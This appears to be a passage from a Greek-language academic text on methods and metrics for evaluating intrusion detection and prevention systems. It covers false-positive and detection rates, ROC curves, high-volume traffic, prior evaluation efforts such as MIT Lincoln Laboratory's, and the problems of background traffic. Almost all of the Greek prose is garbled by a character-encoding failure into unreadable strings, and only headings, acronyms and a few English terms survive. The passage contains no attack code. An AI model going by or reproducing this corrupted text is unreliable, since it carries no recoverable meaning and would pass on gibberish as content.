Ouwmg, o apBudc Tov dootdoewy ¢ kabe aneling kobiotd dvokoin pia tétown pétpnon. H kdbe
emifeon  éxel yw mapdderypo évo cvykekpipévo otdyo (my. Sieiodvom, Gpvnomn LVANPECLOV,
aviyvevon), ival emituyng EVavTL GLYKEKPIUEVNC £KOOOTG AOYIOUIKOD, AEITOVPYIKOD GLOTAUATOC N
TPOTOKOALOV KOl aQrveL 1yvn og dlapopetikéc tomobeciec. H avtipetdmon twv O10popeETIK®Y
Ol00TACEDV TOV OMENDY OO TOVG EPEVLVNTEG TOIKIAEL, KAONDC KATO101L 0md avTovE TPOocdopilovv Tig
OmENEG KATA TIG LETPNOELS XPNOYOTOLDVTOS YOUNAY dtakprtdtnto, yvopilovtog yio mopddetypa Ot
N kdBe omed) €xel MOAAATAOVG OTOYOUG OLOPOPETIKMV YOPUKTNPIOTIKOV, EVA KATOL0L (GAAOL
TPocd10pilovy TIG AMELEC YPNOULOTOLDVTOS TO LEYIOTO €PIKTO Pabud dlokpitdTnTag, OTOL 1) KAOE

amelh] oyetiletor yio TopAdElyld LE €VO GUYKEKPLUEVO GTOYO CULYKEKPIUEVOV YOPOKTNPIOTIKMV.
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Av 1 S10POPOTOINGN GYETIKA LLE TO KOTAAANAO €MIMESO SAKPITOTNTAC KOTE TOV TPOGOOPIGHO TOV
oamelhdv, kobiotd dOokoAn TV amopifunon tov anelldv mov gival og Béomn vo aviyvedoel €vo
IDS/IPS kot T obykpion TG KAADYNE oV TapEyouy To. dideopa Tpoidvta Evavtl tov enifécewv. To
npdPAnua avtd oviipetoniletor o¢ éva Babud andé t CVE (Common Vulnerabilities and
Exposures), n omoia givat pio Aiota pe Ohec T1g yvwotég evmabdeiec. Iapdia avtd, 1 CVE dev umopel
va 0oel ADoT 610 TPOPANUO T®V TOALOTADY Sl0POPETIKAV EMODEGEDV TTOV GTOYXELOLV TNV 1010

€VTTADELD KO YPTOLOTOIOVV SIUPOPETIKES TEYVIKES O10PVYNG.

‘Eva 6AAo mpdfAnua mov ovipetoniletor katd ™V a&loAdynon g KAALYNG VOVl YVOOTOV
embéocemv elval 0 TPOGAOPICUOC TNG CNUOVTIKOTNTAG TOV S0QOPMV TOHTMV ATELDV Yo TV KAOe
vrodoun. T mopddetypo, M  KOVOTNTO  OViXVELONG OPOCTNPIOTHTAOV  AVOYVAPIONG Kol
XOPTOYPAPNONG SIKTVOV, EVOEYETOL Y10, KATOLEG EYKOTACTAGEIS VO EIVOL 1010ATEPO, GNUAVTIKT EVD Y10
Kamoleg GAleg vo, ivon adidpopn. Emiong, n a&loddynon evoc IDS/IPS amd évav opyoviopd, oyetikd
UE TNV KAADYT EVOVTL YVOOTOV EMOEGEDV TOV APOPOVV €(TE TOANOTEPO GLGTHLLOTO TO, OO0 OEV
OwBétel, M évavtl emiBéocemv OV GTOYXEVOVV OSLVOUIEG Yol TIC OToieg E£YOVV EQUPUOCTEL Ol
OTOUTOVUEVEG J10POMDOCELS, dev ivar 1 TAEOV KatdAANAN. Eivar amapaitnto va mpayuatonoteiton pio
a&loAdynon n omoia Ba elval oTOYELUEVY] GTO YAPUKTINPIOTIKG TNG CLYKEKPLUEVNG EMOTTEVOUEVG

VIOSOUNC.

4.1.2 IMOBavoOTNTO ELPAVIONS YEVOAS OETIKAOV E100TOGEMY

Me ) pétpnon auvt TpocdtopileTal T0 TOGO0TO TV YELOMOE DETIKMV E100TOMGEMY TOV TOPAyoVToL
anmd éva IDS/IPS, og éva dedouévo mepifdAlov Kot KoTd T S1dpKeLo, EVOC GUYKEKPLUEVOD YPOVIKOD
draotApotog. [3] Mia and Tig artieg eupdviong yevdahg Betikmv g1donooewv ota diktvakd IDS/IPS,
glvalr 1 ygpnom «adVVAU®V» VITOYPAE®V, Ol Omoieg Yy mapdderypo umopel vo avalntodv &va
GUYKEKPIUEVO AEKTIKO EVTOG TWV OOKIVOVUEVOV TAKETWOV, VO TOPAYOLV E00TOCELS Y10, TN XPNoN
plag BOpac pe peydio oaplBud m omoia ypnolwomoleitol amd KAmow opopen M va evtomilovv

napafracelc tov TpwtokoAiov TCP.

H pétpnon tov yevddv Betikdv gidonomcemv givar 1Wdiaitepa dvokoin, kabmg éva IDS/IPS pmopei
Vo TopAyeL Eva SlapopeTkd TOc0oTO YeLdME BeTikdv g1domomoemv o€ kdbe diktvoko meptPariov
Kot dgv vPioTaTl KATOW0 TPOTLTO SIKTLOKO TEPIPAAAOV GUYKPIoNG. LVVERXDG etvol TOAD mbovo va
VIAPYOVY ONUAVTIKEG OMOKAIGELS OTNV TopaymY] WeLdds OeTikdv €00TOMCEOV UETAED TOV

TEPPAALOVTOG SOKIUMDY KOl TOV TOPAYDYIKOV TEPPAALOVTOG.

Téhog, o IDSS/IPSS umopodv va puOpiotodv pe moikilovg tpodmovg TPOKEWEVOL va pelmbel to
TOGOCTO TOPOYDYNG WEVIDS DETIKMOV E100TOMGEWDVY, YEYOVOS TOL KaB15TH SOGKOAO TOV TPOGIOPIoUO
TV pubuicemv mov mpémel vo ypnooronfovy yioo T uétpnon tovg. Mio GNUAVTIKT YPOQIKY|

TOPAGTOOT OV YpNoluomoleital yio tov Edeyyo tov IDSS/IPSs eivar n kapmdoin Receiver Operating
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Characteristic (ROC), n omoia amewcovilel v enidpacn mov Egovv ot aAlayég pubuicewv evog
IDS/IPS otv mbavotnta aviyvevong (Probability of Detection) kot tnv mbovotnta mopoywyng
yevddg Oetikdv edomomoewv (False alarm probability). A&omoudvtag avtiv v ypoikn
TOPACTACT] UTOPOVV VO EVIOMIGTOVV €Kevec ot puBuicelg mov odnyodv to IDS/IPS ce éva
BéATioTo onueio Aettovpyiog, ©TO OMOI0 EMTVYYAVETOL piot LYNANR TOAVOTNTO OViXVELONG,
ATNPAOVTOG TOVTOYpOoVE TNV THAVOTNTA TAPOY®YNG YEVIMS OETIKOV E100TOMGE®Y OGO TO
duvatd yoapunAotepa. QoTOGO, Yo TOV TPOGOHIOPIGUO TOL BEATIGTOL 0VTOV onpeiov Asttovpyiag,
AOLTEITOL O TTPOGIOPIGUAOG TOV KOGTOVS TV YEVLSMG DeTik®V g1domomoemv, 1 aéia tov opbdv
aVIYVEVCEMV KOl 1 TOOVOTNTO EUEAVIONG QUGLOAOYIKNG KOU [ QUGLOAOYIKNG OIKTLOKNG
Kivnong. [4] Zmnv Ewodva 4-1 gpeoaviCovrar ot koumvieg ROC yia 600 Sl0popeTiKd CLOTHUATO

IDS.

0.70 +
iR iDS “G"
0.60 -

0.50 | PN

T IDS nEn
0.40 ¢

Probability of Detection, 1 - beta

| I 1 I Il L |
T I

1

0.30 : e
0 0.0005
False alarm probability, alpha

Ewéva 4-1: Kapmoreg ROC [4]

4.1.3 IMBavotyTe aviyvevong

Me ) pétpnon avthi TpocdtopileTal To TOCOGTO TV EMOEGEDY TOV OVIYVEDOVTOL ETTVYADG OO EVOl
IDS/IPS, oe évo dedouévo meplPaiiov kot katd TN SPKEW €VOG GUYKEKPUEVOD YPOVIKOD
dwwomuatog. [3] H dvokoria otn péTpnon Tng TOCOGTOV EMITVYMV OVIYVEDGEWMYV, EYKELTOL GTO

veyovog ot 1 emrvyia evog IDS/IPS e€aptdtol o ueydio fabud omd 10 cOvoro TV eTBEcE®V IOV
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Ba ypnoipomonBodv katd 1 deaymyn v dokumv. Eriong, n mbavotnta aviyvevong eEaptdron
og peyaro Bobud amd 1o av to IDS/IPS &yel napapetporombei £étol dote vo evioyvbei 1 duvatdntd
TOV VO aviyvevel emBEselc N vo ehaylotomonBodv ot yevdmg Betikég domomoels. Eivor cuvendg
ONUOVTIKO Vo xpnotponomBei 1 idto TopaeTponoinoT Katd TNV EKTEAEST JOKIUMV Yio TN HETPNON
TOV Yeudns OeTikdv €180TocEMV Kol TV 0AN0dg Betikdv eidomomoewv. Télog, éva IDS/IPS 1o
omoio pmopel kol aviyvevel pio cuykekpluévn emifeon, evogyetal va unv ivor o€ Béom va aviyvedoet
v 0w eniBeon dtav ypnoyomonbel Kamolo amd TIC TEYVIKES S1OLPUYNG, Ol OTOIES OVOADOVTAL GTO

Keparoo 5.

4.1.4 AvOekTiKéOTNTO $vavTl EMOEcE®V OV aToyevovy To IDS/IPS

Me 1 pétpnon avt npocdiopiletor n avBektikdotnTa Tov IDS/IPS évovit emifécewmv mov £xovv o
o1oy0 T datdpan g opaANC Aettovpyiag Tov. Ot Hoppég TV emBécemv mov pumopet va deybel Eva

IDS/IPS givat ot akdlovbeg: [3]

o [lapaywyn peydiov dykov vouung Siktvokng Kivnong, o€ fabuod mov Eemepvd tn dvvatotnTo
ene€epyaciog e and to IDS/IPS, 161 dote 10 IDS/IPS vo apyicel va amoppintel mokéto
(OnAaon va unv ta e€etalel) kol va pmv gival oe Béom va aviyvevoel TG emOEGEIC TOV

eKONAMVOVTaL.

e  AmooToAN peYOAoL TANBOVEC MOKET®V VOUUNG OIKTLOKNAC OpaoTnploTNTaG, To Omoio gival
£T01  KOTOGKELOOUEVD, DOTE VO €VEPYOTOOUV  TOANOTAEC  vmoypoeéc Tov  IDS/IPS
TPOKELLEVOL VO KOTOKAVLETOL O YEPICTNG TOL OmMd YELOMG OETIKEG E€00MOMGCELS 1| VO

KOTOPPEEL TO GUGTNUO ENEEEPYAGIOG TOV TOPAYOUEVMV ELOOTOMGEWDV.

o Amootol) peydiov TANB0VEC TAKET®Y TOPAVOUNG OUKTLOKNG OPACTNPLOTNTAS, TO OTTOio EYOVV
MG 6TOYO VO ATOCTAGOVY TNV TPocoyn Tov yeptoty tov IDS/IPS, mpokepévon vo un yivet

aVTIANTTA M TPAyUOTIKN enibeom mov ektelel mapdAAnia o emitiféuevoc.

e  AmocTOA MOKET®V TO omoia mepthapPdvovy dedopéva mov ekpetoAredoviot pio evmddeia
tov akyopiBuov enefepyaciog tov IDS/IPS. 'Ewg ofuepa givar eldyloteg ol MePTTOGELG

EVIOTIGHOV TETOL®V EVTOHELDV.

4.1.5 AvvatotTnTa XEPIGHOV OIKTVOKIS Kiviong vyniov 0YKOV

Me ) pétpnon avtn €etaleton av éva IDS/IPS gival o 0éomn vo Agttovpynoel cootd dtav éxet va
avtipeTonicel v eneepyoocio €vog peydov oykov diktvakng kiviiong. [3] Ta mepiocdtepa
dktvaxd IDSs/IPSs apyilovv vo anoppintovv mokéto kabde avEdvel o dykog TG dikTuakng Kiviong,

LE OTOTEAEGHLO VO TOVG OLAPEVYEL £V TOGOOTO emBEécewv. Metd v vépPaocn evog KoTwEAiov, T
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TEPLOGOTEPA OO OLTO CTOLATOVY VO OVIYVELOVY omoladnToTe emiBeon. Elval cvuvendg amapaitnto

vo, peTpnei o péyiotog Oykog vouung SIKTvakng kivnong mov pnopei va yeipiotei to IDS/IPS.

4.1.6 Axpipero aviyvevong vao vynio 6yKo SIKTVOKNG Kiviiong

Avtiotoiymg pe v mponyoduevn uétpnon, eEetdletar n duvatodtnta tov IDS/IPS va kotaypdeet kot
va enegepyaletar pio Siktvaky Kivnon vyniov dykov pe v d1a akpifelo wov emeepydletan pio

nmo diktvakn kivnon. [3]

4.1.7 AvvatotnTo 6VGYETIGNGS YEYOVOTMY

Me m pétpnon avty eetaleton n dvvatdmrta tov IDS/IPS vo cvoyetiler ta yeyovota mov
Kataypdeovtal omd didpopo cvothuata omwg IDS/IPS, dpopoloyntég kor telyn mpootociog,
TPOKEWWEVOL  vaL  aviyvevoel otadlakés emiféoelg deiodbvong. Xvvbog, to IDS/IPS  éyovv
TEPLOPICUEVEG SVVATOTNTEG GLGYETIONG YEYOVOT®V Kot YU avTod ypnotponotodviar Avcelg SIEM

(Security Information and Event Management) yio. to okom6 ovto. [3]

4.1.8 Avvatotnto aviyvevnong ayveooTmv EmOEcev

Me ™ pétpnon oot g€etdletan 1 dvvatodtnta tov IDS/IPS va aviyvedel dyvooteg emibéoelg ot
omoieg ekdnAdvovtal yuo TpdTN eopd. [ Ta TaPAYOYIKE GLGTHUATO TOV ¥PNCIUOTOOVY GLVNRO®G
1 pebodoroyia aviyvevong Pacel vToypae®v, 1 e£ETAOT AVTAG TNG SLVOTOTNTOG gV gival yproun,
KkaBdg avtd givar e Béom va evromilovv povo yvwotéc embéoelg. Eival opmg ypnoun og puétpnon
Yo o, gpeLVNTIKE cvotiuato mov otnpilovtor ot pebodoroyia aviyvevong PAoel EVTOTIGLOV

Swatapaymv. [3]

4.1.9 Avvatotnre avoayvoplong emoEocemv

Me ) pérpnon ovtr e€etaletor  dvvatdtra Tov IDS/IPS va avayvopilel pio enibeon kot vo tnv
TavTonolel avtioTowyilovtdg ¢ pe €va KOwdg yvmotd ovopo, pio eumabeie 1 pio katnyopio

embéocov. [3]

4.1.10 AvvatoétnTa Tpocoopiopod s EkPfacng piog eniBeong

Me ) pétpnon avty e&etdletarl  duvartotnta tov IDS/IPS va mpoodiopiletl to av pio emiBeon frav
emtoyng N oyt o v ida emibeon, opiopéva IDSS/IPSS givon oe Béomn va evtomifovv Ta 0modeKTIKA
otolyeio piog ewoPfoAng kot va kpivouv €€’ avtdv av 1 enifeon frav emruyng, eved ik IDS/IPS
UTopovV Vo, aviyvebooLV UOVO TNV VIOYPAPT TMV EVEPYEI®V TNG emibeong ywpig va pmopodv va
Swkpivouv av avt) ftav gmroynpévn. H duvatdmta mpocdiopicpov g ékPacng piog emibeong

glvar TOAD onpoavtiky yo v avéivon . Emiong, amhomoiel oe moAd peydio Pabud v dovierd
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TOv ovoALTh, Jwyopilovtag TIC ONUOVIIKEG EMITUYNUEVEC EMBECEIC OmMO TIC OTOTUYNLEVEC
npoondOeleg. o ) pétpnon avtig TG SVVATOTNTOS OMALTEITAL Va VUL YVOOTO TOlEG EMBECELC

NTOV EMTUYNUEVES KO TOLEC OTOTUYNLUEVEG. [3]

4.1.11 Aowréc peTprjoeig

Emumiéov petpnoeig, ol onoieg av kot de oyetilovtan dueoa pe tig emdodoelg Tov IDS/IPS givarl mold

ONUOVTIKEG Y10 TOpoy@YiKd mepifdilovta, gival ot akolovdeg: [3]
e Evkolia eykatdoToong
e Evkolia ypnong
¢ EvkoMa cuvtipnong
e AwfecipuotnTa Kot TotoTnTe LTOGTNPIENS
o AwfecIpudTNTO KOl TOIOTNTO TEKUNPIMONS

e Amoutoelg o€ TOpovg

4.2 Ypwetapeveg tpoomadereg sokipov IDS/IPS

O1 tpoomadeieg mov £xovv yivel oto TapeAdov yia v aloldynon cvotnudtov IDS/IPS, nowkilovv
ONUAVTIKA ©OC TPOC TO oTOY0 TOovG, To PdBog Toug Ko TNV okoAovBovpevn peBodoroyia. Ot
EPELVNTIKEG AEIOAOYNGELS TTOV €XOVV dlevepynBel Exovv coumePIAGPel VEEC LOPPEC EMBECEWV Y1 TNV
a&oroynon IDS/IPS mov Bacilovtor otov eviomopd dwutapaydv, evd ot 0ElOAOYNCELS EUTOPIKOV
CLOTNUATOV £YOVV GUUTEPIAGPEL LETPNOELS TV €MOOCEMV VIO VYNAO Oyko dikTvoKkng kivnong. H
TOALTAOKOTNTO OVT®V TV a&loAoyncenv €yel avénbel pe v mapodo tov Ypodvov, £T0L MGTE Va

ovumephafet mepiocdtepa IDS/IPS ko mepiocdtepovg THMOVG EMBEGEWDY.

Ztov Topéa g a&loroynong cvetnudatmv IDS/IPS éyovv dpactnpromombel axadnpaikd epguvnTikd
gpyaotnplo. aAAG kot gumopikoi opyavicpoi. Téoo to University of California at Davis (UCD) [5],
0600 ka1 10 gpyactiplo epevvav g IBM Zurich [6], avéntuéav mAat@OpUES AVTOUOTOTOMUEV®Y
doxuadv tov IDS/IPS. To MIT Lincoln Laboratory (MIT/LL) mpaypotomoince v mo €KTETAUEVN
nocotiky a&ordynon epevvnrikav IDS éwc onuepa. [7][8][9] H a&ordynon avtn odnynoe oty
dnuovpyion piag ovAloyng omd Siktvaxr kivnon vrofdbpov (background traffic) war apyeia
KOTOYPOPS VTOAOYIGTAOV Opopévay  eROonadmv, koM Kol EKATOVIUOES KOATOYEYPOUUEV®V
emBéocwv, N omoio aglomomBnke otn cvvéKELn gvpémg amd Tovg epgvvntés. To Air Force Research
Laboratory axolovOnoe pio mpocéyyion avtiotoyn tov MIT/LL, aAld eotiace oty a&loldynon tov
IDSs oe mpayuatikd ypovo, ¥PNCILOTOLOVTAC £VO, MO TOADTAOKO diktvakd mepiBdiiov. [10] O

opyoviopog MITRE wpaypatomoince pio and Tic mpdteg aEl0A0YNGEIS TV YOPUKTNPIOTIKOV KOl TOV
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duvorotTeV entd epnopikdv kot kufepvntikav IDS. [11] Eniong, didpopo emiotnuovikd teplodikd,
omog to Network Computing kot to Network World Fusion éyovv katd koipode onpoctencst
dtpopeg a&loroynoelg eumopikdv ovotnuatov IDS/IPS. [12][13][14] Télog, yivovtat
dapkmg drapopeg mpoondbeieg a&ordynong IDS/IPS amd 1010Tikd £pevvnTIKA £pyaoThpLo
o6mog to NSS Labs, pue mhéov mpdopatn pia ev e€ehifel mpoondbeia mov Eekivnoe 1o

NoéuPpio tov 2012  (https://www.nsslabs.com/news/press-releases/nss-labs-announces-

analyst-coverage-and-new-group-test-breach-detection-systems).

4.3 Avokolrigg a&rohdoynong tov IDSs/IPSs

YT1C EMOUEVEG TAPAYPAPOVS TEPTYPAPOVTAL Ol KUPLOTEPES dVOKOAIEG TOV YpetdleTan va EemepacTody

TPOKEUEVOL Va. dtevepyn el pia a&loldynon evog IDS/IPS.

4.3.1 Xvykévrpoon SCripts embBécewv kol TOVL OvTiGTOYOL £VTAOOVG

Aoyio KoV

H ovykévipoon tov SCripts mov amattovvtat yio. Tnv ektéleon evog onuavtikod TAnbovg embécemy,
KaBMG Kol TOL AVTICTOLYOL EVAAMTOV AOYICUIKOD TO OTOI0 GTOYEVOLV AVTEC Ol EMBETELS, sivar pia
ypovoBopoa. kat eximovn dradikacio. Av kot SCripts avtod Tov gidovg eivar dabéoiua 610 S10dikTVO,
QIOLTEITOL OPKETOC YPOVOC Y10, VO EVIOTIOTOVV TO, SCripts mov ypetdlovial yio évo GUYKEKPLUEVO
nepPaAiov SoKUdV. AQOV aVTE EVTOMIGTOVY, £ival GTN GLVEXELD amapaitnTo va eAeyyBoldv Kat va
evoopat®wdodv 610 mepPAriov dokiu®mV. AvTioToiymg enimovn etvor Kot 1 d10d1kacion GLYKEVTIP®ONG
T0L gumalfovg AOYIGHIKOD TO 0Toio oTo)EvEL N KGOE emiBeom, kabmg T TEPIGGOTEPO O TOL SCripts
eMBEcemV AEITOVPYOLV EVAVTIO LOVO GUYKEKPLUEVMVY EKOOGEMV AOYIGUIKOD TOV LY VA gival OOGKOAO

va Bpedovv.

4.3.2 AwgopeTikotnte amartiesov ofohoyneng IDSS/IPSs aviyvevong

owrapaydv kot IDSs/IPSs vroypapov

Av ko to meplocotepa gumopikd IDSS/IPSs ypnoyomoodv ™ pebodoroyia aviyvevong Pdaoet
VIOYPOQ®Y, TOAAG €PELYNTIKG CLGTAUOTO Ypnolpomolovy T uebodoroyia aviyvevorng Pdoet
EVIOMICUOD OloTapayd@v. Xvvemmg, 0o Mrav Wwitepo ypnown n vmopén uoag pebodoroyiog
a&loddynong n onoia, Bo oV KaTGAANAN Ko Yo Tic dvo katnyopieg IDS/IPS, mpokeiuévon va givat
EPIKTN 1 GUYKPIOT TOV EPELVNTIKOV GLOTNUATOV HE TO EUTOPIKE. 26TOGO, VILAPYOVV CNUAVTIKEG

OVoKOALEG otV avamTLEN piog kotvng peBodoroyiag a&loAdynong.

Ta cvotuate mwov ypnolwonowvv T pebodoloyia aviyvevong Pdcel evtomiopold dloTapoydv,

OTTOLTOVV TNV «EKTAIOELON TOVG», AEITOVPYDVTAG Y10, EVOL YPOVIKO SACTNO VO OIKTLOKY Kivnon
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omoia dev mepthapPavel emBetikég evépyele. And TIC afloAOYNGELS OV £YOVV Yivel 6TO TapPeABOV,
eMdyoteg eiyav g anotéleopa T dnuovpyia TpdTLING dikTvakng Kivnong (data sets) mov pmopei va
ypnotporomOei yio avtd to okomd. To data sets mov gival o YvOOTa 6TV KOWOTNTO TV EPEVVITOV
givol atd Tov TapyOncav omo Tig a&loroynoelg tov MIT/LL. Av kot £xovv ypnoporondei evpémg
v v a&ordynon tov IDS/IPS gvtomopod datapaydv, £xovv tantoypova dexbel Eviovn kpitiki.
H xprruciy avt ogeireton 610 yeyovog 6t  a&loloynon tov cuetnudtov Bdost avtov tov data sets
€XEL ONUAVTIKEG OMOKAIGELG OO TN GLUTEPIPOPA TOVG GE TPAYUATIKO Tepiaiiov. [Tapoia avtd
ovveyilovv va a&lomotovvral, kabhg ivarl amd ta Aiya dnpodcia dabioipo data sets mov pumopovv va
ypnoomomBovv ya v a&oroynon tov IDS/IPS. ‘Eva and to Bacikdtepa onpeio TG KPITIKNG O
éyovv Ogybel agopd T pn peoloTKOTNTO NG €EOMOIOUEVNC SIKTVLOKNG Kivnong. Av kot ot
dnuovpyoi ¢ mpoomabnoav cofapd vo Kavovv pio peaAloTikn e£opoimon evog SkTLOKOD
TEPPAALOVTOG, VTTAPYXOLV GOPEIG amokAlcelc amd éva mpaypatikd diktvo. Mo mopdderypo, €xet
aoKNOel KPITIKN OYETIKA [LE TNV TOTOAOYIO TOV dKTVOV oL e€opoldONKe, N omoia eivar acvvnBioTa
enimedn, Kabdg emiong kat yio v acvviiom opotopopeio g dktvokng Kivnong. Ot arokAicelg
avtég amd €va TPayuaTikd mEPPAAAOY, 0dNyoLV TEXYYNTA O YOUNAG TOCOGTH WELOMS OeTIKOV
gwomomoewv. O evIOoMICUOG TOVG OU®G £yve LOVO UETO OO €KTEVEIC OVOADGEIC EEEIOIKEVUEVDV

EMOTNUOVOV.

Ta mpofAipata mov mapovsidloviar Kotd v aEloAOYNoN GUGTNUATOV TOL YPNCLUOTOOVV TN
pebodoroyio aviyvevong Paoet vIoypae®v givat SopopeTikng POoews. Adyw tov o1t kGbs IDS/IPS
glval og Béom va aviyvedoel Eva GUYKEKPILEVO GOVOLO eMBEGEWY, 1) EXAOYN TOV eMBEcEDV UTOpEl
va ennpedoet o€ peydro fobuo to amotéhecua g a&loAdynong. Xvvenmg, to Pacikdtepo {fTnua g
axolovBobdpevng pebodoroyiag, apopd TV emioyn TtV emBécenv mov Bo emAeybodv yuo TNV

a&lodloynon.

4.3.3 Aw@opeTikéTnTe 0Tontiioe®v oSohoynens diktvak®@v IDSsS/IPSs ka

IDSS/IPSs pepovopévov 6voTipoTos

H a&ordynon tov IDSS/IPSS pepovouévon cuetiuatog mopovoldlel mepiocdtepec SuokoMes og
oyéom pe v a&lordynon tov diktvokmv IDSS/IPSs. T v a&oddynon tov diktvakmv 1DSs/IPSs
VITAPYEL M OLVOTOTNTA KOTOYPOPNG UIOG GUYKEKPIUEVNC SIKTLOKNG KIVNoNe Kol EXOVEKTEAEGNG TNG
OTN CLVEYELWD, OKOUO KOl PE PEYOADTEPT] TOYVTNTA At TNV apykn. Me tov tpdmo avtd pmopet va
emovaAneOsl n 01 dokyn moAAég @opés, egetaloviag kdbe @opd dwapopetikd IDS, ywpic va
xpedleton va a&toroynBodv Tautdypova OA0 To VIO eEETAGT GUGTHHOTOL.

Avtifétog, ta IDS/IPS pepovopévov GuGTAUATOS ¥PNGYOTO00V TOAAEG TNYEG TANPOPOPNONG Yio

mv o&loAdyNnon TOV TAPUTNPOVLEV®Y YEYOVOT®OV KAl dgv meplopilovial UOVO GTO TOKETA NG

dktvoK”g Kivnong. Emiong, ot anyéc autéc motkiAovv LETAED TV SAPOPETIKMY TPOIOVTWOV. ZVVETMC,
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elvar epktn 1 a&loAdYyNoN TOvg UOVO GE TPAYUATIKO ¥POVO, LE OMOTEAEGHO VO, TApOoLGLAlovTat

dVOKOMEG GTNV EMOVOAYILITITO KOL TI GUVETELN TMV SOKIUMV.

4.3.4 Awtooxn kivion vrofddpov katd v a&ordéynen tov IDS/IPS

Katéd ™mv a&ordoynon tov IDS/IPS, ot gpgvvntég akoiovfovv cuovifog pio amd Tig mapokiTo
TPOCEYYIGEIG GYETIKA TN YPNCIUOTOLOVUEVT dIKTVLOKT Kivion vroPdfpov. To mola puébodog givar 1
O OMOTEAEGLLOTIKY] OV €lval capEc, KOOGS 1 Kabe pio amd avtég O1oKpiveTOL Y10 TO. TAEOVEKTILOTOL

KOl TO LLELOVEKTNUOTA TG,

4.3.4.1 A&oloynon xwpig xpnomn dKTuakng Kivnong vrtofadpov

Kotd mv extédleon moAlmv o&loAoynoemv g ypNOUOTOLEITal KATOw VOUUT OIKTLOKY Kivron
voPdBpov. e avtéc T dokyég, to IDS/IPS tomobeteital gvidg evog diktvov 610 0TOi0 dev
ektedeiTon Kapio dpaotnpldTnTe. XT1 GUVEXELN TPUYUOTOTOOVVTOL EXBEGEIS EVTOG TOL SIKTVOV KOl
eréyxeton av ovtég yivovtar avtiAnmég omd to IDS/IPS. Mg autiv v Te)VIKN Hmopovv vo
petpnbobdv ta true positives xou ta false negatives aiAdd dev vdpyel 1 dvvaTodHTNTA UETPNONG TOV
false positives. H mpocéyyion avt givar yprioyn y v a&ordynon tov IDS/IPS w¢ mpog ™
duvatdtnTd TOv Vo EVTOTicEL KOl Vo ovopoticel opfd Tig embécelg g aloldynong kot givol

OLKOVOUIKOTEPT] OO OVTEG TTOL AVOADOVTOL GTI GUVEYELX.

‘Eva petovéktnua avtig ¢ nebddov sivar to 61t tar IDSS/IPSS dev éyovv 10 1610 Kahég emdOcELC
otav  ypnowomombovv oe mePPAAAOVTOL  VYNANG  SIKTLOKNAG KIVIONG KOl  GUVETMG OV
ypnotpomonbodv e mepPailovio VYNANG dkTLOKNG Kivnong eivar BéPato 6TL Ba TapovsLaGoLY

YEWPOTEPEG EMOOGELC OO OVTEC TTOV TPOKVTTTOLY Od o T€Too a&loAdynon.

4.3.4.2 A&oloynon pe ypnom TPAYUOTIKNG SIKTVAKNG Kivnong vrofdfpov

Opiopévol gpguvntég tpaypotorotovv aloroynoelg tov IDS/IPS ypnoipomoidvtag diktvaxy Kivion
N onoio cupmephapPdavel emBECEIC Kot TPAyHOTIKY dIKTVOKY Kivnon vroBabpov. IIpdkerton yio pia
TPOGEYYIoN 1) OTOi0 €IVl TOAD ATOTEAEGUATIKT] GTOV TPOGOIOPIGLO TOV TOG0GTOV TmV true positives
Vo ddpopa emimeda Kivnong voPabpov, kKabmg avth 1 Kivinon mepAapuPdvel OAES TIC AVOUOAMES
UG TPy LaTikng Kivnong. [3]

Qo100 Kl 0T 1 TPOcEYYIon £xEl oplopéva petovektiata: [3]

e Yuvibwg dev elvor  epwtd va  mpayuatomomBel pio  emovoAqyuyn  agloddynon
XPNOOTOIDVTAG TPUYHOTIKY SIKTLOKY Kiviion vrofddpov, kabmg eival d0VGKOAO T0G0 amd
TEYVIKNG 000 KOl omd VOWIKNG Gmoyng va oamofnkevtel HeYAAOG OYKOG TPOYLOTIKNG

SIKTLOKNG Kivnong.
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e Ot a&l0hoyNoELS aVTES XPMNOLOTOOVY GUVIOMG éval LIKPO aplBid VTOAOYIGTAOV «GTOYMV», Ol
0TO101 YPTGULOTOLOVVTOL OTOKAEIGTIKA Y10 TO 6komd avTd. [ v a&loddynon cvotnudtov
oV Ypnoionoovy tn pebodoroyia aviyvevong Pacel vIOYPAPOV, TO YEYOVOS QLTO eV
amotelel TpOPANpa. Opmg Y10 To GLGTAUATO TOL PN GILOTOOVY TN pebodoroyia aviyvevong
Baocel evtomicpon datapaymdv, vapyel N mbavoTnTa vo eEaybodv AavOacuéveg netpnoels,
KOODC EVOEYETAL TO. GLGTHLOTO OVTA VO, OVTIANEHOVY OTL HOVO GUYKEKPIUEVOL VITOAOYIOTEG

déyovtar emBECELG Kol va PEATIOGOVY TNV aKpifeia TNG aviyveLGNC TOVG.

e H zmpoypotikny Siktvaxn kivnorn evoéyetor va mepthapfdvel avouoiiec ot omoieg eival

HovadIKEG kat Tov gvogxeTol va, euvonaet Eva IDS/IPS évavtt evog dAlov.

e Eivat d0okoro va mpocdioptotel to Tocootd tmv false positives ypnooroidvtoag ovtiy v
TPooEyylon, kobmdg oev gival €0KOAO Vo OvOyVEOPLoTOOV Ol emBEcel; Tov ovuvhiwC

mepLopPavovTol eVvtog HoG TPOYIOTIKNG SIKTVOKNG Kivomng.

e Eivor dvokoro va owateBodv dnudcio ta dedopéva autdv TV oKDY, dedopévon OTt

VIapyovV {NTHLOTO TOV APOPOVV TNV TPOCTAGIO TNG OIWTIKOTNTOC.

4.3.4.3 A&oloynon pe xpno1 OVOVULOTOMUEVNG SIKTVAKNG Kivniong vtoPdfpov

[Ipoxepévoy va Eemepactodv To TPOPANUATE TPOCTACING TNG WOIMTIKOTNTAS, OPIGUEVOL EPEVVNTEG
€YOUV TPOTEIVEL TNV AVEOVLUOTOINGT TNG S1KTVAKNG Kivnong vroPdbdpov PV amd TV EVOOUATOON
™G dktvokn kivnong mov agopd Tig embéoels g agoldynons. Me avtiv v mpocéyyion yivetot

EPIKTN 1 EAEVOEPT dlVOUT TOV SESOUEVOV TV dOKIUMV Kot 01 0EIOA0YNOELS EIVOL ETOVOANYILES.
Qo100 Kol aVTH 1| TPOcEyYIon £xEl opiopéva petovektipata: [3]

e Ot mpoomdbeleg Av@VLUOTOINGTG EVOEYETOL VAL 0OMNYCGOVV GTNV OTOUAKPLVGT HEYHAOV
mA0ove TANPOPOPIOV TNG OIKTLOKNG Kiviiong, HE OmOTEAECUN VO TPOKOWEL &va Un

PEOMOTIKO TEPIBAALOV.

e Ot mpoonafelec avmVLHOTOINCNG EVOEYETAL VAL UMV EVOL EMTUYNUEVES, E OMOTEAEGUO VO

amokaALeOovv gvaicOnta dedopéva.

e H evooudtoon tov eTBECEOV GTNV AVOVOUOTOMUEVT] SIKTLOKT Kivion €VOEYETOL VO UNV
